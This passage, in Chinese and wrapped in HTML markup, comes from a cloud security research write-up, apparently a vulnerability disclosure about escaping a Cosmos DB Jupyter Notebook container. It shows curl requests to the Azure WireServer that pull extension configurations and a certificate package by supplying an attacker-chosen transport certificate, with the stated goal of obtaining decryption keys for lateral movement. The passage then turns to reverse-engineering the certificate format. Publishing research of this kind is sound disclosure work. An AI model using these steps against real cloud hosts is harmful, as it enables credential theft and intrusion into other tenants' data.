italic;line-height: 26px;"># curl -s &#34;<a href="http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-" target="_blank">http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-</a>&lt;REDACTED&gt;/f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;._CV2FI02_0?comp=config&amp;type=extensionsConfig&amp;incarnation=19&#34; -H &#34;x-ms-agent-name: WALinuxAgent&#34; -H &#34;x-ms-version: 2012-11-30&#34;</span>&lt;?xml version=<span style="color: #D69D85;line-height: 26px;">&#34;1.0&#34;</span> encoding=<span style="color: #D69D85;line-height: 26px;">&#34;utf-8&#34;</span>?&gt;&lt;Extensions version=<span style="color: #D69D85;line-height: 26px;">&#34;1.0.0.0&#34;</span> goalStateIncarnation=<span style="color: #D69D85;line-height: 26px;">&#34;19&#34;</span>&gt;&lt;GuestAgentExtension xmlns:i=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span>&gt;  &lt;GAFamilies&gt;    &lt;GAFamily&gt;      &lt;Name&gt;Win7&lt;/Name&gt;    &lt;/GAFamily&gt;    &lt;GAFamily&gt;      &lt;Name&gt;Win8&lt;/Name&gt;      &lt;Uris&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;02.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;07.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;r01a.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;03.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;r10a.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;r05a.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;01.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;01.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;05.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;01.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://brd" target="_blank">https://brd</a>&lt;REDACTED&gt;04.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;r09a.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;03.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;02.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;09.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;02.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;r03a.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;        &lt;Uri&gt;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;02.blob.core.windows.net/bfd5c281a7dc4&lt;REDACTED&gt;/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml&lt;/Uri&gt;      &lt;/Uris&gt;    &lt;/GAFamily&gt;  &lt;/GAFamilies&gt;  &lt;Location&gt;westus&lt;/Location&gt;  &lt;ServiceName&gt;CRP&lt;/ServiceName&gt;&lt;/GuestAgentExtension&gt;&lt;StatusUploadBlob statusBlobType=<span style="color: #D69D85;line-height: 26px;">&#34;PageBlob&#34;</span>&gt;<a href="https://md-" target="_blank">https://md-</a>&lt;REDACTED&gt;.z13.blob.storage.azure.net/<span style="color: #BD63C5;line-height: 26px;">$system</span>/CV2FI02_0.6eb0b152-261a-4bc7-89ae-&lt;REDACTED&gt;.status?sv=2018-03-28&amp;amp;sr=b&amp;amp;sk=system-1&amp;amp;sig=MxCWbN&lt;REDACTED&gt;&amp;amp;se=9999-01-01T00%3a00%3a00Z&amp;amp;sp=w&lt;/StatusUploadBlob&gt;&lt;Plugins&gt;  &lt;Plugin name=<span style="color: #D69D85;line-height: 26px;">&#34;Microsoft.Azure.Security.Dsms.DsmsForWindows&#34;</span> version=<span style="color: #D69D85;line-height: 26px;">&#34;3.20.60.1&#34;</span> location=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;02.blob.core.windows.net/&lt;REDACTED&gt;/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml&#34;</span> state=<span style="color: #D69D85;line-height: 26px;">&#34;enabled&#34;</span> autoUpgrade=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span> failoverlocation=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="https://brd" target="_blank">https://brd</a>&lt;REDACTED&gt;04.blob.core.windows.net/&lt;REDACTED&gt;/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml&#34;</span> runAsStartupTask=<span style="color: #D69D85;line-height: 26px;">&#34;false&#34;</span> isJson=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span> useExactVersion=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span> /&gt;  &lt;Plugin name=<span style="color: #D69D85;line-height: 26px;">&#34;Microsoft.Azure.ServiceFabric.ServiceFabricNode&#34;</span> version=<span style="color: #D69D85;line-height: 26px;">&#34;1.1.0.12&#34;</span> location=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="https://zrd" target="_blank">https://zrd</a>&lt;REDACTED&gt;07.blob.core.windows.net/&lt;REDACTED&gt;/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml&#34;</span> state=<span style="color: #D69D85;line-height: 26px;">&#34;enabled&#34;</span> autoUpgrade=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span> failoverlocation=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="https://rd" target="_blank">https://rd</a>&lt;REDACTED&gt;02.blob.core.windows.net/&lt;REDACTED&gt;/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml&#34;</span> runAsStartupTask=<span style="color: #D69D85;line-height: 26px;">&#34;false&#34;</span> isJson=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span> useExactVersion=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span> /&gt;&lt;/Plugins&gt;&lt;PluginSettings&gt;  &lt;Plugin name=<span style="color: #D69D85;line-height: 26px;">&#34;Microsoft.Azure.Security.Dsms.DsmsForWindows&#34;</span> version=<span style="color: #D69D85;line-height: 26px;">&#34;3.20.60.1&#34;</span>&gt;    &lt;RuntimeSettings seqNo=<span style="color: #D69D85;line-height: 26px;">&#34;2&#34;</span>&gt;{  <span style="color: #D69D85;line-height: 26px;">&#34;runtimeSettings&#34;</span>: [    {      <span style="color: #D69D85;line-height: 26px;">&#34;handlerSettings&#34;</span>: {        <span style="color: #D69D85;line-height: 26px;">&#34;protectedSettingsCertThumbprint&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;85FFC66A525E9A3D45597788B076B95356296E46&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;protectedSettings&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;MIIB0AYJK&lt;REDACTED&gt;&#34;</span>      }    }  ]}&lt;/RuntimeSettings&gt;  &lt;/Plugin&gt;  &lt;Plugin name=<span style="color: #D69D85;line-height: 26px;">&#34;Microsoft.Compute.CustomScriptExtension&#34;</span> version=<span style="color: #D69D85;line-height: 26px;">&#34;1.10.12&#34;</span>&gt;    &lt;DependsOn dependencyLevel=<span style="color: #D69D85;line-height: 26px;">&#34;1&#34;</span>&gt;      &lt;DependsOnExtension handler=<span style="color: #D69D85;line-height: 26px;">&#34;Microsoft.Azure.Security.Dsms.DsmsForWindows&#34;</span> /&gt;    &lt;/DependsOn&gt;  &lt;/Plugin&gt;  &lt;Plugin name=<span style="color: #D69D85;line-height: 26px;">&#34;Microsoft.Azure.Geneva.GenevaMonitoring&#34;</span> version=<span style="color: #D69D85;line-height: 26px;">&#34;2.27.0.3&#34;</span>&gt;    &lt;RuntimeSettings seqNo=<span style="color: #D69D85;line-height: 26px;">&#34;2&#34;</span>&gt;{  <span style="color: #D69D85;line-height: 26px;">&#34;runtimeSettings&#34;</span>: [    {      <span style="color: #D69D85;line-height: 26px;">&#34;handlerSettings&#34;</span>: {        <span style="color: #D69D85;line-height: 26px;">&#34;publicSettings&#34;</span>: {}      }    }  ]}&lt;/RuntimeSettings&gt;  &lt;/Plugin&gt;  &lt;Plugin name=<span style="color: #D69D85;line-height: 26px;">&#34;Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration&#34;</span> version=<span style="color: #D69D85;line-height: 26px;">&#34;2.58.15&#34;</span>&gt;    &lt;RuntimeSettings seqNo=<span style="color: #D69D85;line-height: 26px;">&#34;2&#34;</span>&gt;{  <span style="color: #D69D85;line-height: 26px;">&#34;runtimeSettings&#34;</span>: [    {      <span style="color: #D69D85;line-height: 26px;">&#34;handlerSettings&#34;</span>: {        <span style="color: #D69D85;line-height: 26px;">&#34;publicSettings&#34;</span>: {}      }    }  ]}&lt;/RuntimeSettings&gt;  &lt;/Plugin&gt;&lt;/PluginSettings&gt;</p></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们的 VM 有几个配置的扩展，包括：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">Microsoft.Azure.Security.Dsms.DsmsForWindows</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">Microsoft.Azure.Geneva.GenevaMonitoring</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">Microsoft.Compute.CustomScriptExtension</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">Microsoft.Azure.ServiceFabric.ServiceFabricNode</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">Microsoft.Compute.CustomScriptExtension</p></div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这些扩展很可能安装在我们的主机（基于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows</p>的虚拟机）上，而不是我们的私有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p>容器上。下一个合乎逻辑的步骤是从这些配置中提取信息，并可能发现稍后可以在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>环境中横向移动的密钥。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>获取解密密钥</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">大多数扩展包含以下两个部分：</p><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">1.<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">publicSettings</p>:包含有关 VM 扩展和设置的一般信息的纯文本部分。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2.<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">protectedSettings</p>:包含有关 VM 扩展的敏感信息的加密部分。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">硬编码凭据和/或敏感信息应该存储在扩展的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">protectedSettings</p>部分中。那么代理是如何解密这些敏感数据的呢？它从哪里获得解密密钥？答案是证书端点。但是要获取用于解密的证书，代理首先需要采取额外的预防措施并提供将用于加密证书包的自签名传输证书。幸运的是，这个传输证书没有被服务器验证，这意味着我们可以提供我们自己的证书而不依赖于主机代理先前生成的任何证书。提供此公钥的方法是将其包含在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">x-ms-guest-agent-public-x509-cert</p>标头中。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">root@notebook:/home/cosmosuser<span style="color: #57A64A;font-style: italic;line-height: 26px;"># curl -s -H &#39;x-ms-agent-name: WALinuxAgent&#39; -H &#39;x-ms-version: 2012-11-30&#39; &#34;<a href="http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-" target="_blank">http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-</a>&lt;REDACTED&gt;/f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;._CV2FI02_0?comp=certificates&amp;incarnation=19&amp;type=fullConfig&#34; -v -H &#39;x-ms-cipher-name: DES_EDE3_CBC&#39; -H &#39;x-ms-guest-agent-public-x509-cert: MIIDDTCCAf&lt;REDACTED&gt;VILecKTmgDgpm9K0=&#39;</span>*   Trying 168.63.129.16...* TCP_NODELAY <span style="color: #4EC9B0;line-height: 26px;">set</span>* Connected to 168.63.129.16 (168.63.129.16) port 80 (<span style="color: #57A64A;font-style: italic;line-height: 26px;">#0)</span>&gt; GET /machine/82daf2f0-1c7a-45e5-9be6-&lt;REDACTED&gt;/f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;._CV2FI02_0?comp=certificates&amp;incarnation=19&amp;<span style="color: #4EC9B0;line-height: 26px;">type</span>=fullConfig HTTP/1.1&gt; Host: 168.63.129.16&gt; User-Agent: curl/7.58.0&gt; Accept: */*&gt; x-ms-agent-name: WALinuxAgent&gt; x-ms-version: 2012-11-30&gt; x-ms-cipher-name: DES_EDE3_CBC&gt; x-ms-guest-agent-public-x509-cert: MIIDDTCCAf … redacted … ILecKTmgDgpm9K0=&gt;&lt; HTTP/1.1 200 OK&lt; Content-Type: text/xml; charset=utf-8&lt; Server: Microsoft-IIS/10.0&lt; Date: Mon, 09 Aug 2021 15:14:13 GMT&lt; Content-Length: 218769&lt;{ [14133 bytes data]* Connection <span style="color: #57A64A;font-style: italic;line-height: 26px;">#0 to host 168.63.129.16 left intact</span>&lt;?xml version=<span style="color: #D69D85;line-height: 26px;">&#34;1.0&#34;</span> encoding=<span style="color: #D69D85;line-height: 26px;">&#34;utf-8&#34;</span>?&gt;&lt;CertificateFile xmlns:xsi=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> xsi:noNamespaceSchemaLocation=<span style="color: #D69D85;line-height: 26px;">&#34;certificates10.xsd&#34;</span>&gt;  &lt;Version&gt;2012-11-30&lt;/Version&gt;  &lt;Incarnation&gt;19&lt;/Incarnation&gt;  &lt;Format&gt;CertificatesBondPackage&lt;/Format&gt;  &lt;Data&gt;Cw7XFjCCC1MGCSqGSIb3DQEHA6CCC0QwggtAAgECMYIBMDCCASwCAQKAFHLFPtEzNkHq9EbPS1vv8Xh+51+XMA0GCSqGSIb3DQEBAQUABIIBADsYzJwqOmvP154ZphyM... redacted ...RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmpUgRSAG8AbwB0AAAA&lt;/Data&gt;&lt;/CertificateFile&gt;</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">到目前为止，每次我们查询证书端点（在任何其他服务中）时，我们总是获取以该<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Pkcs7BlobWithPfxContents</p>格式编码的证书，如下图所示。这是一种证书包，加密内容只有与标头<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">x-ms-guest-agent-public-x509-cert</p>中提供的公钥匹配的私钥才能解密。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5070242656449553" data-type="other" data-w="783" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=995ccda3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhZIZ9BXkYP7cujKMrzTGnFQvjh2bh3lcM8sgiaoYhn3tqw2t3mkNxFuw%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然而，当我们在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>环境中执行完全相同的步骤时，我们获取到以另一种格式编码的证书 – <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Certificates Bond Package</p>.</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这是我们第一次遇到这种格式。不幸的是，我们用来执行解密标准格式的 OpenSSL 命令在这里不起作用。是时候启动我们的游戏并尝试解码这种格式了！</p><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>解码证书绑定包</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Google</p>上搜索<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Certificate Bond Package</p>格式没有得到答案：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5358139534883721" data-type="other" data-w="1075" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7a20e6c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhQiaHEA6b2o41Pkl8vXlq4tQdq7ImoRF7ibodWfetZFFDY6cL4HpKOxPQ%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">怎么办？我们决定对<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>的客户端、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VM</p>代理进行逆向工程。我们假设如果有任何东西知道如何解码这种格式，那么就是这些代理, 因为它们依赖这些信息来正常运行。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">首先查看<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p>代理，我们找不到任何关于神秘的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Certificate Bond Package</p>格式的参考。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2613941018766756" data-type="other" data-w="746" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=03bb4d7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhLokWIuDvC7BiapdQuAUZEykkwB1ibwDlczrx4l75PbUp7EzaMdpVics8g%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">继续研究<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows</p>代理，我们知道根据<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p>元数据服务，即使我们在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p>容器中运行，我们的主机<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VM</p>也是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows VM</p>。这意味着来自<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>的所有响应都应由<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows</p>代理处理，而不是<p style="font-size: 14px;padding: 2px 